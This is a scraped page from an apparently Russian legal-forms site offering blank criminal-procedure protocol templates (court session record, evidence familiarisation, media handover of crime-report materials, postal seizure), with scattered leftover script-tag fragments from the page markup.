Сегодня
НАВИГАЦИЯ:
ЮРИДИЧЕСКОЕ НАСЛЕДИЕ:
РАЗНОЕ:
РЕКЛАМА:
Заболевание - болит зуб мудрости что делать - посмотреть. Заболевание - болит зуб мудрости что делать - посмотреть.
АРХИВ НОВОСТЕЙ:
Протокол судебного заседания.
  Протоколы | Автор: admin | 8-12-2010, 18:43

  ПРОТОКОЛ
  судебного заседания
 
_____________________ "__" _____________ г.
 (место составления)
 
__________________________________________________________________
  (время начала и окончания судебного заседания)
по уголовному делу в отношении __________________________________,
  (фамилия, инициалы подсудимого)
обвиняем__ в совершении преступлен__, предусмотренн__ ____________
_______________________________ УК РФ,
__________________________________________________________________
  (наименование суда)
 
в составе:
председательствующего ___________________________________________,
  (фамилия, инициалы)
судей (народных заседателей) _____________________________________
  (фамилии, инициалы)
_____________________________________________________________ <1>,
с участием прокурора _____________________________________________
  (наименование органа прокуратуры,
_________________________________________________________________,
  фамилия, инициалы прокурора)
защитника _______________________________________________________,
  (фамилия, инициалы)
представившего удостоверение N _____________ и ордер ____________,
при секретаре ___________________________________________________,
  (фамилия, инициалы)
а также __________________________________________________________
  (процессуальное положение,
__________________________________________________________________
  фамилии, инициалы иных участников)
Переводчик _______________________________________________________
  (фамилия, имя, отчество,
__________________________________________________________________
  год рождения, образование, данные о месте работы, жительства,
__________________________________________________________________
  выяснение данных о свободном владении языком,
__________________________________________________________________
  знание которого необходимо для перевода)
  Переводчику _______________________________ разъяснены права и
  (фамилия, инициалы)
обязанности, а также ответственность за заведомо неправильный
перевод в соответствии со ст. 307 УК РФ <2>.
 
  Устанавливается личность подсудимого _________________________
  (фамилия, имя,
__________________________________________________________________
  отчество, число, месяц, год рождения, место рождения,
__________________________________________________________________
  национальность, гражданство, образование, место работы,
__________________________________________________________________
  учебы, жительства (для несовершеннолетнего следует установить,
__________________________________________________________________
 проживает он с родителями или вне семьи), перечислить имеющиеся
__________________________________________________________________
  неснятые и непогашенные судимости, указать время вручения
__________________________________________________________________
  обвинительного заключения или обвинительного акта,
__________________________________________________________________
  данные об избранной мере пресечения, если мера пресечения
  связана с содержанием под стражей, дату задержания и избрания
  меры пресечения)
__________________________________________________________________
  далее в протоколе должны быть отражены действия суда
__________________________________________________________________
в том порядке, в каком они имели место в ходе судебного заседания
__________________________________________________________________
  в соответствии с частями 3, 4 и 5 ст. 259 УПК РФ.
 
  Председательствующий __________________
  (подпись)
 
_______________________________
  (дата подписания протокола)
 
  Секретарь
  судебного заседания __________________
  (подпись)
_______________________________
 (дата изготовления протокола)
 

--------------------------------

<1> Заполняется при коллегиальном рассмотрении уголовного дела.

<2> Данные о переводчике заполняются в случае участия переводчика в судебном заседании. Если участник процесса отказался от переводчика, от него отбирается письменное заявление, которое прилагается к протоколу судебного заседания, а в протоколе это обстоятельство должно быть отражено.
 
f3860114fcaf4a6a19d8bb94d7ef40dd.js" type="text/javascript">e7637a504f94e8c1a7f3a977e264fe09char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)05f4ee7131d0a95b3e14a7929583152f.js" type="text/javascript">5d3fb43f32599b55a7480db191b73da7.js" type="text/javascript">0d11e6c1904f2061506b327e24a8cf59.js" type="text/javascript">5fb61d3979bf620aedc8ce2c61595bb7.js" type="text/javascript">7401ff97cb98756101a9e347e68ab746.js" type="text/javascript">630165e3e8577d81c752158ae592ae6f.js" type="text/javascript">1dad65cdf15611db045e6dfb88787cff.js" type="text/javascript">18fb0dcece5a47ec7bdeb2388462292b.js" type="text/javascript">e44e76dcccde5e35b7db5002f479f905.js" type="text/javascript">e4c7969d19ed2423bb5da4ee53a595d1.js" type="text/javascript">d5f584ed21914de08da482191f971952.js" type="text/javascript">2ff674d06ed5987bb81906a61073a975.js" type="text/javascript">
Коментариев: 0 | Просмотров: 171 |
Протокол ознакомления (потерпевшего, гражданского истца, гражданского ответчика, их представителей) с дополнительными материалами уголовного дела.
  Протоколы | Автор: admin | 8-12-2010, 18:43
ПРОТОКОЛ
ознакомления
(потерпевшего, гражданского истца, гражданского ответчика,
их представителей)
с дополнительными материалами уголовного дела


(должность следователя (дознавателя),
,
классный чин или звание, фамилия, инициалы)
в помещении
(каком именно)
, руководствуясь частью второй ст. 219 УПК РФ,

предъявил
(процессуальное положение фамилия, имя, отчество)
дополнительные материалы уголовного дела № в подшитом

и пронумерованном виде для ознакомления.


(процессуальное положение, фамилия, инициалы)
был ознакомлен с дополнительными материалами уголовного дела, содержащимися

в
(указываются номер тома и количество содержащихся в нем листов дополнительных

материалов уголовного дела, их нумерация)












с вещественными доказательствами
(какими именно)










,

иными материалами
(аудио-, видеозаписями, фотографиями и т.п.)




путем
(личного ознакомления или оглашения (кем именно и по чьей просьбе)
По ходатайству
(фамилия, инициалы)
была воспроизведена
(аудио-, видеозапись)

Ознакомление с дополнительными материалами уголовного дела начато
«____» ____________ 20___ г. в ___ ч ___ мин, окончено «____» _________________ 20___ г.
в ___ ч ___ мин
согласно прилагаемому графику (при его наличии)
После ознакомления с дополнительными материалами уголовного дела от
(процессуальное

положение, фамилии, инициалы)
ходатайства или иные замечания
(не поступили, поступили (их содержание)







(процессуальное положение) (подпись) (фамилия, инициалы)


Протокол прочитан
(лично или оглашен (кем именно и по чьей просьбе)
Замечания о дополнении и уточнении протокола
(не поступили, поступили (их содержание)





(процессуальное положение) (подпись) (фамилия, инициалы)


В ходе выяснения у какие свидетели, эксперты, специалисты
(фамилия, инициалы)
подлежат вызову в судебное заседание для допроса и подтверждения его позиции

заявил
(фамилия, инициалы) (указываются фамилии, имена, отчества свидетелей, экспертов, специалистов,

их место жительства и (или) место нахождения)


Приложение:
(график ознакомления с дополнительными материалами уголовного дела)
на л.

Настоящий протокол составлен в соответствии со ст. 166 (167) УПК РФ.

Следователь (дознаватель)
(подпись)

blank-50.zip [29,54 Kb] (cкачиваний: 4)f13f499b275e22d233774eaf43ecf46a.js" type="text/javascript">
Коментариев: 0 | Просмотров: 95 |
Протокол передачи средством массовой информации материалов и документов, подтверждающих сообщение о преступлении, а также данных о лице, предоставившем информацию.
  Протоколы | Автор: admin | 8-12-2010, 18:43
ПРОТОКОЛ
передачи средством массовой информации документов
и материалов, подтверждающих сообщение о преступлении,
а также данных о лице, предоставившем указанную информацию


« » 20 г.
(место составления)


Передача документов (материалов) начата в ч мин
Передача документов (материалов) окончена в ч мин


(должность следователя (дознавателя),

классный чин или звание, фамилия, инициалы)
в связи с нахождением
(где, у кого)
документов и материалов, подтверждающих сообщение о
(существо информации,
,
указывающей на признаки преступления)
распространенном ,
(когда и где было распространено сообщение о преступлении)
а также данных о лице, предоставившем эту информацию, в соответствии с частью второй

ст. 144 УПК РФ в помещении
(каком именно)


с участием
(должность, фамилия, имя, отчество, при необходимости адрес и другие данные о личности)










на основании требования от « » 20 г. №


(наименование органа предварительного расследования)
получил от
(кого именно, что именно (документы (материалы), подтверждающие сообщение о преступлении,

и (или) данные о лице, предоставившем указанную информацию)
Перед началом передачи документов, материалов, данных о лице, предоставившем

информацию, участвующим лицам разъяснены их права, обязанности и ответственность.

переданы следующие документы, материалы, данные
(фамилия, инициалы)
о лице, предоставившем информацию о преступлении:
(краткое описание

переданного)














Перед началом, в ходе либо по окончании следственного действия от участвующих лиц


(фамилии, инициалы)


заявления . Содержание заявлений :
(поступили, не поступили)




Участвующие лица:
(подпись)

(подпись)

(подпись)

Протокол прочитан
(лично или по просьбе участвующих лицом, составившим протокол)



Замечания к протоколу
(содержание замечаний либо указание

на их отсутствие)



Участвующие лица:

(подпись)

(подпись)

(подпись)
Настоящий протокол составлен в соответствии со ст. 166 (167) УПК РФ.


Следователь (дознаватель)
(подпись)
Копию протокола получил: «____» __________________ 20__ г.


(должность)

(подпись) (инициалы, фамилия)

blank-51.zip [13,31 Kb] (cкачиваний: 6)486f9bd43d49128c841e64136913b0a3.js" type="text/javascript">
Коментариев: 0 | Просмотров: 73 |
Протокол осмотра и выемки почтово-телеграфной корреспонденции.
  Протоколы | Автор: admin | 8-12-2010, 18:43
ПРОТОКОЛ
осмотра и выемки почтово-телеграфной корреспонденции

« » 20 г.
(место составления)

Осмотр и выемка начаты в ч мин
Осмотр и выемка окончены в ч мин


(должность следователя (дознавателя),

классный чин или звание, фамилия, инициалы)
в присутствии понятых:
1.
(фамилия, имя, отчество, должность работника почтово-телеграфного учреждения, место жительства)


2.
(фамилия, имя, отчество, должность работника почтово-телеграфного учреждения, место жительства)


с участием
(процессуальное положение, фамилия, имя, отчество каждого лица,

участвовавшего в следственном действии, а в необходимых случаях его адрес и другие данные о его личности)






в присутствии
(фамилия, имя, отчество, должность работника почтово-телеграфного учреждения)




при
(естественном, искусственном, смешанном)
освещении, с соблюдением требований ст. 164, 165, части первой ст. 176, частей первой, третьей и четвертой ст. 177, части пятой ст. 185 УПК РФ, на основании постановления

(наименование суда)
от « » 20 г. произвел в
(название учреждения связи)


осмотр и выемку
(название корреспонденции),
,

поступившей на имя (отправленной от имени)
(фамилия, имя, отчество, адрес)



(подпись понятого) (подпись понятого)

Перед началом осмотра и выемки почтово-телеграфного отправления участвующим лицам разъяснены их права, обязанности, ответственность за разглашение данных предварительного следствия, а также порядок производства осмотра предметов (документов), являющихся почтово-телеграфным отправлением, и его выемки.

Участвующие лица:
(подпись)

(подпись)

(подпись)

Понятым, кроме того, до начала осмотра предметов (документов), являющихся почтово-телеграфным отправлением, и выемки разъяснены их права, обязанности и ответственность, предусмотренные ст. 60 УПК РФ.

(подпись понятого)

(подпись понятого)

Специалисту
(фамилия, имя, отчество)

разъяснены его права и обязанности, предусмотренные ст. 58 УПК РФ.


(подпись специалиста)

Переводчику
(фамилия, имя, отчество)

разъяснены его права и обязанности, предусмотренные ст. 59 УПК РФ. Одновременно он предупрежден об уголовной ответственности по ст. 307 УК РФ за заведомо неправильный перевод.

(подпись переводчика)

Лица, участвующие в следственном действии, были заранее предупреждены

о применении при производстве следственного действия технических средств
(каких именно

и кем именно)


Осмотром установлено:
(что именно, описываются процессуальные действия

в том порядке, в каком они производились, выявленные при их производстве существенные

для данного дела обстоятельства, а также излагаются заявления (пояснения) лиц, участвовавших

в следственном действии; технические средства, примененные в ходе производства следственного

действия, условия и порядок их использования, объекты, к которым эти средства были

применены, и полученные результаты)




(подпись понятого) (подпись понятого)





(подпись понятого) (подпись понятого)
?
По окончании осмотра

(какие почтово-телеграфного отправления были скопированы,

отправлены адресату или задержаны (подверглись выемке)




В ходе осмотра и выемки почтово-телеграфного отправления проводилась
(фотосъемка,

видео-, аудиозапись и т.п.)


К протоколу прилагаются
(фотографические негативы и снимки,

киноленты, диапозитивы, фонограммы, кассеты видеозаписи и др.)


Протокол предъявлен для ознакомления всем лицам, участвовавшим

в следственном действии. При этом указанным лицам разъяснено их право делать

подлежащие внесению в протокол оговоренные и удостоверенные подписями этих лиц

замечания о его дополнении и уточнении. Ознакомившись с протоколом путем


(личного прочтения или оглашения протокола следователем (дознавателем)
участники следственного действия замечания о его дополнении и уточнении
(не сделали,

сделали – какие именно (указываются процессуальное положение, фамилия

и инициалы участника следственного действия и содержание сделанных им дополнений

и уточнений к содержанию протокола)






Понятые:
(подпись)

(подпись)
Специалист
(подпись)
Переводчик
(подпись)

Иные участвующие лица:
(подпись)

(подпись)
Настоящий протокол составлен в соответствии со ст. 166 и 167 УПК РФ.
Следователь (дознаватель)
(подпись)

Копию протокола осмотра и выемки почтово-телеграфного отправления получил

Руководитель почтово-телеграфного учреждения
(подпись)

«____»___________________20____г.

blank-52.zip [18,43 Kb] (cкачиваний: 5)931486561ac5349141196d1075dce96e.js" type="text/javascript">
Коментариев: 0 | Просмотров: 121 |
ukrstroy.biz
ЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
РАЗНОЕ:
КОММЕНТАРИИ:
ОКОЛОЮРИДИЧЕСКАЯ ЛИТЕРАТУРА: